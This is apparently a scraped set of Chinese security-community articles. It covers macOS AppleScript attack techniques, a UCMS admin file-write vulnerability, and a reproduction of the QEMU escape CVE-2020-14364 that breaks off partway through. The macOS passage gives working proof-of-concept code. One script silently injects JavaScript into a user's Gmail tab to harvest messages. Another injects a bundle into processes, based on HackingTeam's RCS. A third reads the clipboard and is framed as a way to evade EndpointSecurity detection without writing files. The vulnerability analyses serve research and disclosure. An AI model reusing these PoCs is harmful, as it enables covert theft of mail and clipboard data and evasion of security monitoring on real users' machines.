repeat with a_window in list_of_windows # iterate through all open windows
set tab_list to every tab in a_window # grab all tabs
repeat with aim_tab in tab_list
set aim_url to the URL of aim_tab
if "http://noahblog.360.cn" is in aim_url then
do JavaScript "alert(1);" in aim_tab
end if
end repeat
end repeat
end tell
由于AppleScript的"自然语言"设计思路，使得很多需要监控键鼠和窗口聚焦的交互问题可以通过代码很好解决，在实际利用中，进行合理场景优化完全可以做到0感知注入效果，此处以盗取Gmail邮件为例。
#### Steal Gmail PoC for Chrome:
tell application "Google Chrome"
set list_of_windows to every window
repeat with a_window in list_of_windows
set tab_list to every tab in a_window
repeat with aim_tab in tab_list
set aim_url to the URL of aim_tab
if "https://mail.google.com/" is in aim_url then
repeat while aim_tab's id is equal to a_window's active tab's id
delay 3
end repeat # 等待用户移开标签页焦点
set output to execute aim_tab javascript "function payload(){for(var e={},t=document.querySelectorAll(\"td.yX.xY\"),l=0;l<t.length;l++){var n=t[l].textContent,r=t[l].lastElementChild.firstElementChild.getAttribute(\"email\"),a=t[l].lastElementChild.firstElementChild.getAttribute(\"name\");e[l]={Email_Address:r,Sender_Name:a,Subject:n}}alert(JSON.stringify(e[0]));}payload();;"
return output
end if
end repeat
end repeat
end tell
### Bundle Injection
早在2015年意大利网络军火商HackingTeam被攻击的泄露资料中，我们就发现其RCS就积极使用该技术，通过AppleScript加载目标并进行bundle注入。
查看其plist可知通过AppleScript注入的入口:
参考HackingTeam RCS源码，很容易写出Injector PoC:
#import <Foundation/Foundation.h>
#import <Carbon/Carbon.h>
#import <ScriptingBridge/ScriptingBridge.h>
int main(int argc, const char * argv[]) {
@autoreleasepool {
if (argc != 2)
{
printf(“injector pid\n”);
return 1;
}
TEST *test = [[TEST alloc] init];
pid_t pid = atoi(argv[1]);
SBApplication* sbApp = [SBApplication applicationWithProcessIdentifier:pid];
[sbApp setSendMode:kAENoReply | kAENeverInteract | kAEDontRecord];
[sbApp sendEvent:kASAppleScriptSuite id:kGetAEUT parameters:0];
// Injecting
[sbApp setSendMode:kAENoReply | kAENeverInteract | kAEDontRecord];
id injectReply = [sbApp sendEvent:‘OPNe’ id:‘open’ parameters:0];
if (injectReply != nil) {
NSLog(@“unexpected injectReply: %@“, injectReply);
}
[[NSProcessInfo processInfo]disableSuddenTermination];
}
return 0;
}
## 通过AppleScript Hook进行检测对抗
AppleScript提供了非常多样化的执行方式，这里进行总结：
* 执行scpt工程原文件
* 执行编译后的Application文件
* 通过Mail.app的邮件规则直接执行AppleScript脚本
* 通过osascript编译器执行
* 无文件内存执行
* 通过Automator自动操作服务执行
* 通过目录行为绑定执行
* 通过Finder服务执行
* 通过Calendar事件执行
多样化的执行方式给攻击手段和入口提供了不同的可能性，但最终的执行都将回归于osascript编译，然后通过Apple Event
Manager构造发送Apple事件。
大部分在MacOS上活跃的恶意软件均为Object-C或一些脚本语言编写，若使用第三方安全软件如知名安全团队Object-See旗下的
**ProcessMonitor** , **FileMonitor** , **KnockKnock**
等产品，都能非常轻易的捕获常见的恶意行为，原因是自从Catalina更新后，Apple要求所有安全供应商和开发者都接入EndpointSecurity和SystemExtensions框架，弃用内核扩展改用系统扩展意味着代码将在用户空间中运行，而检测点也意味着更容易被安全产品捕捉，例如通过Apple
Events的事件性行为，由于AppleScript基于Apple Event Manager，这也意味着常规的AppleScript写法都会被检测。
然而，AppleScript可以直接混用代码达到无Apple Events执行的效果，尤其在Yosemite之后AppleScript访问原生Cocoa
API的权限更大, 绕过安全框架对Apple Events的检测则非常容易。
#### 以下给出由objc为例的记录剪贴板PoC:
use AppleScript version "2.4"
use scripting additions
use framework "Foundation"
use framework "Appkit"
property NSString : a reference to current application's NSString
property NSArry : a reference to current application's NSArray
property NSPasteboardTypeString : a reference to current application's NSPasteboardTypeString
property NSFileManage : a reference to current application's NSFileManager
property NSPasteboard : a reference to current application's NSPasteboard
set aList to {}
set fileManager to NSFileManager's defaultManager()
set pdGen to NSPasteboard's generalPasteboard()
set pdItems to pdGen's pasteboardItems()
set str to pdGen's stringForType:NSPasteboardTypeString
该思路最好的地方在于绕过检测的同时完成了无文件执行，换句话说，通过AppleScript Hook住原生Cocoa框架，我们无需编译创建MachO
bin(常规编译)或者MachO
app(生成app)，从而在代码侧直接执行达到无文件落地的目的，而且由于MacOS的特殊性，机器环境所支持的语言非常多，除objc外，python，shell，原生MacOS
bundle都可以提供不错的执行条件。
## Reference
<https://github.com/hackedteam/core-macos/blob/master/core/RCSMCore.m>
<https://attack.mitre.org/techniques/T1155/>
<https://objective-see.com/blog.html#blogEntry6>
* * * | 社区文章 |
## 前言
最近在漏洞平台看到ucms后台漏洞，便寻找了一下发现有开源源码，分析一下
## 漏洞复现
首先漏洞发生在后台，也就是需要先登录后台可利用，有点鸡肋，但还是要学习一下
后台管理中心->文件管理->任意选一个编辑->保存->抓包
然后访问该文件名
## 漏洞分析
uncms/index.php 44行
<?php
if(isset($_GET['do'])) {
$thisdo=explode('_',$_GET['do']);
}
?>
<?php require('top.php');?>
<?php
if(isset($_GET['do'])) {
if(!isset($thisdo[1])) {
$thisdo[1]='index';
}
check_admin_file($thisdo[0],$thisdo[1]);
require($thisdo[0].'/'.$thisdo[1].'.php');
}else {
if(power('s',0,$power)){
echo("<meta http-equiv=refresh content='0; url=?do=str'>");
exit();
}
也就是说获取get的do值为文件名，跟踪一下漏洞指的sadmin/fileedit.php文件
sadmin/fileedit.php
<?php
if (!defined('admin')) {exit();}
if(power('alevel')!=3) {die('error');}
if(!AdminFileedit) {
adminmsg('','文件管理功能已关闭',0);
}
if(isset($_GET['dir'])) {
if(empty($_GET['dir'])) {
$_GET['dir']='/';
}
$getdir=$_GET['dir'];
if($_GET['dir']=='/') {
$dir=$_GET['dir'];
}else {
$dir=$_GET['dir'];
}
$alldir=$_SERVER['DOCUMENT_ROOT'].$_GET['dir'].'/';
if(stripos($_GET['dir'],'..')===false) {}else {die('error dir');}
}else {
die('no dir');
}
if(isset($_GET['file'])) {
$filename=$_GET['file'];
if(stripos($_GET['file'],'..')===false) {}else {die('error filename');}
if(!isedit($_GET['file'])) {
die('error');
}
}else {
die('no file');
}
if(isset($_POST['co'])) {
checktoken();
$content=$_POST['co'];
$fp = @fopen($alldir.$filename,"w");
if(!@fwrite($fp,$content) && strlen($content)<>0){
adminmsg('','写入失败,请修改文件权限',1);
exit;
}
fclose($fp);
$refererurl='?do=sadmin_fileedit&dir='.$_GET['dir'].'&file='.$_GET['file'].'&pos='.$_POST['pos'];
adminmsg($refererurl,'保存成功',1,'编辑页');
exit();
}
if(!is_file($alldir.$filename)) {
$content='';
}else {
$content=htmlspecialchars(file_get_contents($alldir.$filename));
}
function isedit($filename) {
$array=array('php','css','js','htm','html','txt');
foreach($array as $val) {
if(pathinfo($filename, PATHINFO_EXTENSION)==$val) {
Return true;
}
}
Return false;
}
?>
可以看到该文件对传进来的路径与内容没有进行任何过滤与验证,引发了漏洞
$fp = @fopen($alldir.$filename,"w");
在请求co参数的时候，这一行，w指当文件不存在的时候会自动创建，由此触发了文件写入漏洞
## 参考文章
<http://blog.topsec.com.cn/%e5%a4%a9%e8%9e%8d%e4%bf%a1%e5%85%b3%e4%ba%8eucms%e7%b3%bb%e7%bb%9f%e5%ad%98%e5%9c%a8%e4%bb%a3%e7%a0%81%e6%b3%a8%e5%85%a5%e6%bc%8f%e6%b4%9e%e7%9a%84%e5%88%86%e6%9e%90/> | 社区文章 |
# CVE-2020-14364漏洞复现——Qemu逃逸漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
这篇文章中的任意地址读写和利用思路主要借鉴于参考链接中的文章，中间找调用链和绕过检测是自己的思路，这个漏洞相比于CVE-2016-4952难了很多花了挺长时间，而且这个漏洞不仅仅只有本文这种利用方法，还可以使用其余的usb协议来进行利用，如果文章出现什么错误，恳请各位师傅斧正。
## 环境搭建
环境搭建参照CVE-2015-5165漏洞复现———QENU信息泄露漏洞那篇文章：[http://www.resery.top/2020/10/13/CVE-2015-5165%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0——QENU%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E/](http://www.resery.top/2020/10/13/CVE-2015-5165%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0
------QENU%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E/)
qemu版本：4.0.0
启动脚本：
qemu-system-x86_64 \
-enable-kvm \
-m 1G \
-hda /home/resery/QEMU/Resery.img \
-device e1000,netdev=net0 \
-netdev user,id=net0,hostfwd=tcp::33333-:22 \
-usb \
-drive if=none,format=raw,id=disk1,file=./usb.img \
-device ich9-usb-ehci1,id=usb \
-device usb-storage,drive=disk1 \
调试脚本：
gdb --args qemu-system-x86_64 \
-enable-kvm \
-m 1G \
-hda /home/resery/QEMU/Resery.img \
-device e1000,netdev=net0 \
-netdev user,id=net0,hostfwd=tcp::33333-:22 \
-usb \
-drive if=none,format=raw,id=disk1,file=./usb.img \
-device ich9-usb-ehci1,id=usb \
-device usb-storage,drive=disk1 \
-nographic
## 漏洞成因
首先我们直接先去看官网patch的内容，下面就是patch的全部内容，可以在第7行看到新增了一个setup_len的局部变量，然后可以看到第15行到18行做的操作是，把原先代码中的`s->setup_len`换成了新的局部变量`setup_len`，然后后面patch的部分都是把原来的`s->setup_len`换成`setup_len`，所以说问题就肯定是出来setup_len这里了，下面我们就需要仔细来查看一下没打patch前的`do_token_setup`代码
--- a/hw/usb/core.c
+++ b/hw/usb/core.c
@@ -129,6 +129,7 @@ void usb_wakeup(USBEndpoint *ep, unsigned int stream)
static void do_token_setup(USBDevice *s, USBPacket *p)
{
int request, value, index;
+ unsigned int setup_len;
if (p->iov.size != 8) {
p->status = USB_RET_STALL;
@@ -138,14 +139,15 @@ static void do_token_setup(USBDevice *s, USBPacket *p)
usb_packet_copy(p, s->setup_buf, p->iov.size);
s->setup_index = 0;
p->actual_length = 0;
- s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];
- if (s->setup_len > sizeof(s->data_buf)) {
+ setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];
+ if (setup_len > sizeof(s->data_buf)) {
fprintf(stderr,
"usb_generic_handle_packet: ctrl buffer too small (%d >
%zu)\n",
- s->setup_len, sizeof(s->data_buf));
+ setup_len, sizeof(s->data_buf));
p->status = USB_RET_STALL;
return;
}
+ s->setup_len = setup_len;
request = (s->setup_buf[0] << 8) | s->setup_buf[1];
value = (s->setup_buf[3] << 8) | s->setup_buf[2];
@@ -259,26 +261,28 @@ static void do_token_out(USBDevice *s, USBPacket *p)
static void do_parameter(USBDevice *s, USBPacket *p)
{
int i, request, value, index;
+ unsigned int setup_len;
for (i = 0; i < 8; i++) {
s->setup_buf[i] = p->parameter >> (i*8);
}
s->setup_state = SETUP_STATE_PARAM;
- s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];
s->setup_index = 0;
request = (s->setup_buf[0] << 8) | s->setup_buf[1];
value = (s->setup_buf[3] << 8) | s->setup_buf[2];
index = (s->setup_buf[5] << 8) | s->setup_buf[4];
- if (s->setup_len > sizeof(s->data_buf)) {
+ setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];
+ if (setup_len > sizeof(s->data_buf)) {
fprintf(stderr,
"usb_generic_handle_packet: ctrl buffer too small (%d >
%zu)\n",
- s->setup_len, sizeof(s->data_buf));
+ setup_len, sizeof(s->data_buf));
p->status = USB_RET_STALL;
return;
}
+ s->setup_len = setup_len;
if (p->pid == USB_TOKEN_OUT) {
usb_packet_copy(p, s->data_buf, s->setup_len);
--
`do_token_setup`代码内容如下，可以看到我在代码中标注为bug的地方，这里会根据`s->setup_buf`中的内容来给setup_len来赋值，然后会对`s->setup_len`进行检测，如果超过`s->data_buf`的大小那么就会直接返回，但是返回的时候我们没有给`s->setup_len`的值清零，这也就意味着我们可以控制`s->setup_len`的值为任意值
static void do_token_setup(USBDevice *s, USBPacket *p)
{
int request, value, index;
if (p->iov.size != 8) {
p->status = USB_RET_STALL;
return;
}
usb_packet_copy(p, s->setup_buf, p->iov.size);
s->setup_index = 0;
p->actual_length = 0;
s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6]; <------------- [bug]
if (s->setup_len > sizeof(s->data_buf)) { <------------- [problem]
fprintf(stderr,
"usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",
s->setup_len, sizeof(s->data_buf));
p->status = USB_RET_STALL;
return; <------------- [problem]
}
request = (s->setup_buf[0] << 8) | s->setup_buf[1];
value = (s->setup_buf[3] << 8) | s->setup_buf[2];
index = (s->setup_buf[5] << 8) | s->setup_buf[4];
if (s->setup_buf[0] & USB_DIR_IN) {
usb_device_handle_control(s, p, request, value, index,
s->setup_len, s->data_buf);
if (p->status == USB_RET_ASYNC) {
s->setup_state = SETUP_STATE_SETUP;
}
if (p->status != USB_RET_SUCCESS) {
return;
}
if (p->actual_length < s->setup_len) {
s->setup_len = p->actual_length;
}
s->setup_state = SETUP_STATE_DATA;
} else {
if (s->setup_len == 0)
s->setup_state = SETUP_STATE_ACK;
else
s->setup_state = SETUP_STATE_DATA;
}
p->actual_length = 8;
}
之后这个`setup_len`还会被`do_token_in`和`do_token_out`使用，并且在这两个函数中会调用`usb_packet_copy`函数，从而实现越界读或越界写
## 漏洞调用链
现再为了调用到漏洞函数，我们需要了解一下漏洞调用链，这个调用链还是可以很容易的找到的，在最开始开启虚拟机的时候直接在漏洞函数下断点，运行就可以直接在漏洞函数断下来从而获得到漏洞调用链，调用链如下，但是在`ehci_advance_async_state`这个函数下了断点之后，在我们想恢复函数运行的时候还是会多次断在这个函数，调试及其不方便，所以我们选择另一条调用链，在源代码中可以找到还有一个函数会调用`ehci_advance_state`，并且这个函数也会被`ehci_work_bh`调用，所以我们就选择这个函数来替换调用链中的`ehci_advance_async_state`，新的调用链如下
--------------------------------------------------------------------------------------------------------------------------- OLD:
#0 do_token_setup (s=0x555556d7c7d0, p=0x55555721dcd0) at hw/usb/core.c:131
#1 0x0000555555b9d144 in usb_process_one (p=0x55555721dd10) at hw/usb/core.c:375
#2 0x0000555555b9d357 in usb_handle_packet (dev=0x5555573ff0a0, p=0x55555721dd10) at hw/usb/core.c:420
#3 0x0000555555bb5a89 in ehci_execute (p=0x55555721dcd0, action=0x555555f7b35a "process") at hw/usb/hcd-ehci.c:1378
#4 0x0000555555bb6ea9 in ehci_state_execute (q=0x555556d7c7d0) at hw/usb/hcd-ehci.c:1936
#5 0x0000555555bb73c1 in ehci_advance_state (ehci=0x5555573783c0, async=1) at hw/usb/hcd-ehci.c:2077
#6 0x0000555555bb760a in ehci_advance_async_state (ehci=0x5555573783c0) at hw/usb/hcd-ehci.c:2148
#7 0x0000555555bb7c20 in ehci_work_bh (opaque=0x5555573783c0) at hw/usb/hcd-ehci.c:2316
#8 0x0000555555da5d2d in aio_bh_call (bh=0x5555573fea30) at util/async.c:90
#9 0x0000555555da5dc9 in aio_bh_poll (ctx=0x5555566b6620) at util/async.c:118
#10 0x0000555555daacd1 in aio_dispatch (ctx=0x5555566b6620) at util/aio-posix.c:460
#11 0x0000555555da6182 in aio_ctx_dispatch (source=0x5555566b6620, callback=0x0, user_data=0x0) at util/async.c:261
#12 0x00007ffff7d48fbd in g_main_context_dispatch () from /lib/x86_64-linux-gnu/libglib-2.0.so.0
#13 0x0000555555da95a5 in glib_pollfds_poll () at util/main-loop.c:213
#14 0x0000555555da9623 in os_host_main_loop_wait (timeout=0) at util/main-loop.c:236
#15 0x0000555555da9734 in main_loop_wait (nonblocking=0) at util/main-loop.c:512
#16 0x00005555559efe91 in main_loop () at vl.c:1970
#17 0x00005555559f7268 in main (argc=18, argv=0x7fffffffdbb8, envp=0x7fffffffdc50) at vl.c:4604
#18 0x00007ffff799d0b3 in __libc_start_main (main=0x5555559f38b0 <main>, argc=18, argv=0x7fffffffdbb8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>,8
#19 0x00005555558007be in _start ()
--------------------------------------------------------------------------------------------------------------------------- NEW:
#0 do_token_setup (s=0x5555566b7e20, p=0x555556b5c3a0) at hw/usb/core.c:131
#1 0x0000555555b9d144 in usb_process_one (p=0x555556b5c3e0) at hw/usb/core.c:375
#2 0x0000555555b9d357 in usb_handle_packet (dev=0x5555573ff060, p=0x555556b5c3e0) at hw/usb/core.c:420
#3 0x0000555555bb5a89 in ehci_execute (p=0x555556b5c3a0, action=0x555555f7b35a "process") at hw/usb/hcd-ehci.c:1378
#4 0x0000555555bb6ea9 in ehci_state_execute (q=0x5555566b7e20) at hw/usb/hcd-ehci.c:1936
#5 0x0000555555bb73c1 in ehci_advance_state (ehci=0x5555573783c0, async=0) at hw/usb/hcd-ehci.c:2077
#6 0x0000555555bb781a in ehci_advance_periodic_state (ehci=0x5555573783c0) at hw/usb/hcd-ehci.c:2209
#7 0x0000555555bb7b25 in ehci_work_bh (opaque=0x5555573783c0) at hw/usb/hcd-ehci.c:2295
#8 0x0000555555da5d2d in aio_bh_call (bh=0x5555573fea10) at util/async.c:90
#9 0x0000555555da5dc9 in aio_bh_poll (ctx=0x5555566b6620) at util/async.c:118
#10 0x0000555555daacd1 in aio_dispatch (ctx=0x5555566b6620) at util/aio-posix.c:460
#11 0x0000555555da6182 in aio_ctx_dispatch (source=0x5555566b6620, callback=0x0, user_data=0x0) at util/async.c:261
#12 0x00007ffff7d48fbd in g_main_context_dispatch () from /lib/x86_64-linux-gnu/libglib-2.0.so.0
#13 0x0000555555da95a5 in glib_pollfds_poll () at util/main-loop.c:213
#14 0x0000555555da9623 in os_host_main_loop_wait (timeout=0) at util/main-loop.c:236
#15 0x0000555555da9734 in main_loop_wait (nonblocking=0) at util/main-loop.c:512
#16 0x00005555559efe91 in main_loop () at vl.c:1970
#17 0x00005555559f7268 in main (argc=18, argv=0x7fffffffdbb8, envp=0x7fffffffdc50) at vl.c:4604
#18 0x00007ffff799d0b3 in __libc_start_main (main=0x5555559f38b0 <main>, argc=18, argv=0x7fffffffdbb8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>,8
#19 0x00005555558007be in _start ()
---------------------------------------------------------------------------------------------------------------------------
## 漏洞涉及到的数据结构
**USBDevice**
struct USBDevice {
DeviceState qdev;
USBPort *port;
char *port_path;
char *serial;
void *opaque;
uint32_t flags;
/* Actual connected speed */
int speed;
/* Supported speeds, not in info because it may be variable (hostdevs) */
int speedmask;
uint8_t addr;
char product_desc[32];
int auto_attach;
bool attached;
int32_t state;
uint8_t setup_buf[8];
uint8_t data_buf[4096];
int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len;
int32_t setup_index;
USBEndpoint ep_ctl;
USBEndpoint ep_in[USB_MAX_ENDPOINTS];
USBEndpoint ep_out[USB_MAX_ENDPOINTS];
QLIST_HEAD(, USBDescString) strings;
const USBDesc *usb_desc; /* Overrides class usb_desc if not NULL */
const USBDescDevice *device;
int configuration;
int ninterfaces;
int altsetting[USB_MAX_INTERFACES];
const USBDescConfig *config;
const USBDescIface *ifaces[USB_MAX_INTERFACES];
};
**EHCIState**
struct EHCIState {
USBBus bus;
DeviceState *device;
qemu_irq irq;
MemoryRegion mem;
AddressSpace *as;
MemoryRegion mem_caps;
MemoryRegion mem_opreg;
MemoryRegion mem_ports;
int companion_count;
bool companion_enable;
uint16_t capsbase;
uint16_t opregbase;
uint16_t portscbase;
uint16_t portnr;
/* properties */
uint32_t maxframes;
/*
* EHCI spec version 1.0 Section 2.3
* Host Controller Operational Registers
*/
uint8_t caps[CAPA_SIZE];
union {
uint32_t opreg[0x44/sizeof(uint32_t)];
struct {
uint32_t usbcmd;
uint32_t usbsts;
uint32_t usbintr;
uint32_t frindex;
uint32_t ctrldssegment;
uint32_t periodiclistbase;
uint32_t asynclistaddr;
uint32_t notused[9];
uint32_t configflag;
};
};
uint32_t portsc[NB_PORTS];
/*
* Internal states, shadow registers, etc
*/
QEMUTimer *frame_timer;
QEMUBH *async_bh;
bool working;
uint32_t astate; /* Current state in asynchronous schedule */
uint32_t pstate; /* Current state in periodic schedule */
USBPort ports[NB_PORTS];
USBPort *companion_ports[NB_PORTS];
uint32_t usbsts_pending;
uint32_t usbsts_frindex;
EHCIQueueHead aqueues;
EHCIQueueHead pqueues;
/* which address to look at next */
uint32_t a_fetch_addr;
uint32_t p_fetch_addr;
USBPacket ipacket;
QEMUSGList isgl;
uint64_t last_run_ns;
uint32_t async_stepdown;
uint32_t periodic_sched_active;
bool int_req_by_async;
VMChangeStateEntry *vmstate;
};
**USBPort**
struct USBPort {
USBDevice *dev;
int speedmask;
int hubcount;
char path[16];
USBPortOps *ops;
void *opaque;
int index; /* internal port index, may be used with the opaque */
QTAILQ_ENTRY(USBPort) next;
};
**USBEndpoint**
struct USBEndpoint {
uint8_t nr;
uint8_t pid;
uint8_t type;
uint8_t ifnum;
int max_packet_size;
int max_streams;
bool pipeline;
bool halted;
USBDevice *dev;
QTAILQ_HEAD(, USBPacket) queue;
};
**IRQState**
struct IRQState {
Object parent_obj;
qemu_irq_handler handler;
void *opaque;
int n;
};
**EHCIqtd**
typedef struct EHCIqtd {
uint32_t next; /* Standard next link pointer */
uint32_t altnext; /* Standard next link pointer */
uint32_t token;
#define QTD_TOKEN_DTOGGLE (1 << 31)
#define QTD_TOKEN_TBYTES_MASK 0x7fff0000
#define QTD_TOKEN_TBYTES_SH 16
#define QTD_TOKEN_IOC (1 << 15)
#define QTD_TOKEN_CPAGE_MASK 0x00007000
#define QTD_TOKEN_CPAGE_SH 12
#define QTD_TOKEN_CERR_MASK 0x00000c00
#define QTD_TOKEN_CERR_SH 10
#define QTD_TOKEN_PID_MASK 0x00000300
#define QTD_TOKEN_PID_SH 8
#define QTD_TOKEN_ACTIVE (1 << 7)
#define QTD_TOKEN_HALT (1 << 6)
#define QTD_TOKEN_DBERR (1 << 5)
#define QTD_TOKEN_BABBLE (1 << 4)
#define QTD_TOKEN_XACTERR (1 << 3)
#define QTD_TOKEN_MISSEDUF (1 << 2)
#define QTD_TOKEN_SPLITXSTATE (1 << 1)
#define QTD_TOKEN_PING (1 << 0)
uint32_t bufptr[5]; /* Standard buffer pointer */
#define QTD_BUFPTR_MASK 0xfffff000
#define QTD_BUFPTR_SH 12
} EHCIqtd;
**EHCIqh**
typedef struct EHCIqh {
uint32_t next; /* Standard next link pointer */
/* endpoint characteristics */
uint32_t epchar;
#define QH_EPCHAR_RL_MASK 0xf0000000
#define QH_EPCHAR_RL_SH 28
#define QH_EPCHAR_C (1 << 27)
#define QH_EPCHAR_MPLEN_MASK 0x07FF0000
#define QH_EPCHAR_MPLEN_SH 16
#define QH_EPCHAR_H (1 << 15)
#define QH_EPCHAR_DTC (1 << 14)
#define QH_EPCHAR_EPS_MASK 0x00003000
#define QH_EPCHAR_EPS_SH 12
#define EHCI_QH_EPS_FULL 0
#define EHCI_QH_EPS_LOW 1
#define EHCI_QH_EPS_HIGH 2
#define EHCI_QH_EPS_RESERVED 3
#define QH_EPCHAR_EP_MASK 0x00000f00
#define QH_EPCHAR_EP_SH 8
#define QH_EPCHAR_I (1 << 7)
#define QH_EPCHAR_DEVADDR_MASK 0x0000007f
#define QH_EPCHAR_DEVADDR_SH 0
/* endpoint capabilities */
uint32_t epcap;
#define QH_EPCAP_MULT_MASK 0xc0000000
#define QH_EPCAP_MULT_SH 30
#define QH_EPCAP_PORTNUM_MASK 0x3f800000
#define QH_EPCAP_PORTNUM_SH 23
#define QH_EPCAP_HUBADDR_MASK 0x007f0000
#define QH_EPCAP_HUBADDR_SH 16
#define QH_EPCAP_CMASK_MASK 0x0000ff00
#define QH_EPCAP_CMASK_SH 8
#define QH_EPCAP_SMASK_MASK 0x000000ff
#define QH_EPCAP_SMASK_SH 0
uint32_t current_qtd; /* Standard next link pointer */
uint32_t next_qtd; /* Standard next link pointer */
uint32_t altnext_qtd;
#define QH_ALTNEXT_NAKCNT_MASK 0x0000001e
#define QH_ALTNEXT_NAKCNT_SH 1
uint32_t token; /* Same as QTD token */
uint32_t bufptr[5]; /* Standard buffer pointer */
#define BUFPTR_CPROGMASK_MASK 0x000000ff
#define BUFPTR_FRAMETAG_MASK 0x0000001f
#define BUFPTR_SBYTES_MASK 0x00000fe0
#define BUFPTR_SBYTES_SH 5
} EHCIqh;
**EHCIPacket**
struct EHCIPacket {
EHCIQueue *queue;
QTAILQ_ENTRY(EHCIPacket) next;
EHCIqtd qtd; /* copy of current QTD (being worked on) */
uint32_t qtdaddr; /* address QTD read from */
USBPacket packet;
QEMUSGList sgl;
int pid;
enum async_state async;
};
**EHCIQueue**
struct EHCIQueue {
EHCIState *ehci;
QTAILQ_ENTRY(EHCIQueue) next;
uint32_t seen;
uint64_t ts;
int async;
int transact_ctr;
/* cached data from guest - needs to be flushed
* when guest removes an entry (doorbell, handshake sequence)
*/
EHCIqh qh; /* copy of current QH (being worked on) */
uint32_t qhaddr; /* address QH read from */
uint32_t qtdaddr; /* address QTD read from */
int last_pid; /* pid of last packet executed */
USBDevice *dev;
QTAILQ_HEAD(, EHCIPacket) packets;
};
## 操作设备内存的函数
操作内存的函数一共有下面这3种，其中`ehci_caps_read`、`ehci_caps_write`、`ehci_opreg_read`、`ehci_port_read`我们在漏洞利用中没有使用到，并且`ehci_caps_write`函数的内容是空的`ehci_caps_read`的功能也很简单就是根据提供的addr返回一个值。
static const MemoryRegionOps ehci_mmio_caps_ops = {
.read = ehci_caps_read,
.write = ehci_caps_write,
.valid.min_access_size = 1,
.valid.max_access_size = 4,
.impl.min_access_size = 1,
.impl.max_access_size = 1,
.endianness = DEVICE_LITTLE_ENDIAN,
};
static const MemoryRegionOps ehci_mmio_opreg_ops = {
.read = ehci_opreg_read,
.write = ehci_opreg_write,
.valid.min_access_size = 4,
.valid.max_access_size = 4,
.endianness = DEVICE_LITTLE_ENDIAN,
};
static const MemoryRegionOps ehci_mmio_port_ops = {
.read = ehci_port_read,
.write = ehci_port_write,
.valid.min_access_size = 4,
.valid.max_access_size = 4,
.endianness = DEVICE_LITTLE_ENDIAN,
};
这三个函数访问的是同一块内存，但是访问的基址和范围是不一样的，这个基址和范围被 函数定义，函数代码如下
static void usb_ehci_pci_init(Object *obj)
{
DeviceClass *dc = OBJECT_GET_CLASS(DeviceClass, obj, TYPE_DEVICE);
EHCIPCIState *i = PCI_EHCI(obj);
EHCIState *s = &i->ehci;
s->caps[0x09] = 0x68; /* EECP */
s->capsbase = 0x00;
s->opregbase = 0x20;
s->portscbase = 0x44;
s->portnr = NB_PORTS;
if (!dc->hotpluggable) {
s->companion_enable = true;
}
usb_ehci_init(s, DEVICE(obj));
}
对应的我们用到的两个写函数代码如下
--------------------------------------------------------------------------------------------------------------------------- static void ehci_opreg_write(void *ptr, hwaddr addr,
uint64_t val, unsigned size)
{
EHCIState *s = ptr;
uint32_t *mmio = s->opreg + (addr >> 2);
uint32_t old = *mmio;
int i;
trace_usb_ehci_opreg_write(addr + s->opregbase, addr2str(addr), val);
switch (addr) {
case USBCMD:
if (val & USBCMD_HCRESET) {
ehci_reset(s);
val = s->usbcmd;
break;
}
/* not supporting dynamic frame list size at the moment */
if ((val & USBCMD_FLS) && !(s->usbcmd & USBCMD_FLS)) {
fprintf(stderr, "attempt to set frame list size -- value %d\n",
(int)val & USBCMD_FLS);
val &= ~USBCMD_FLS;
}
if (val & USBCMD_IAAD) {
/*
* Process IAAD immediately, otherwise the Linux IAAD watchdog may
* trigger and re-use a qh without us seeing the unlink.
*/
s->async_stepdown = 0;
qemu_bh_schedule(s->async_bh);
trace_usb_ehci_doorbell_ring();
}
if (((USBCMD_RUNSTOP | USBCMD_PSE | USBCMD_ASE) & val) !=
((USBCMD_RUNSTOP | USBCMD_PSE | USBCMD_ASE) & s->usbcmd)) {
if (s->pstate == EST_INACTIVE) {
SET_LAST_RUN_CLOCK(s);
}
s->usbcmd = val; /* Set usbcmd for ehci_update_halt() */
ehci_update_halt(s);
s->async_stepdown = 0;
qemu_bh_schedule(s->async_bh);
}
break;
case USBSTS:
val &= USBSTS_RO_MASK; // bits 6 through 31 are RO
ehci_clear_usbsts(s, val); // bits 0 through 5 are R/WC
val = s->usbsts;
ehci_update_irq(s);
break;
case USBINTR:
val &= USBINTR_MASK;
if (ehci_enabled(s) && (USBSTS_FLR & val)) {
qemu_bh_schedule(s->async_bh);
}
break;
case FRINDEX:
val &= 0x00003fff; /* frindex is 14bits */
s->usbsts_frindex = val;
break;
case CONFIGFLAG:
val &= 0x1;
if (val) {
for(i = 0; i < NB_PORTS; i++)
handle_port_owner_write(s, i, 0);
}
break;
case PERIODICLISTBASE:
if (ehci_periodic_enabled(s)) {
fprintf(stderr,
"ehci: PERIODIC list base register set while periodic schedule\n"
" is enabled and HC is enabled\n");
}
break;
case ASYNCLISTADDR:
if (ehci_async_enabled(s)) {
fprintf(stderr,
"ehci: ASYNC list address register set while async schedule\n"
" is enabled and HC is enabled\n");
}
break;
}
*mmio = val;
trace_usb_ehci_opreg_change(addr + s->opregbase, addr2str(addr),
*mmio, old);
}
--------------------------------------------------------------------------------------------------------------------------- static void ehci_port_write(void *ptr, hwaddr addr,
uint64_t val, unsigned size)
{
EHCIState *s = ptr;
int port = addr >> 2;
uint32_t *portsc = &s->portsc[port];
uint32_t old = *portsc;
USBDevice *dev = s->ports[port].dev;
trace_usb_ehci_portsc_write(addr + s->portscbase, addr >> 2, val);
/* Clear rwc bits */
*portsc &= ~(val & PORTSC_RWC_MASK);
/* The guest may clear, but not set the PED bit */
*portsc &= val | ~PORTSC_PED;
/* POWNER is masked out by RO_MASK as it is RO when we've no companion */
handle_port_owner_write(s, port, val);
/* And finally apply RO_MASK */
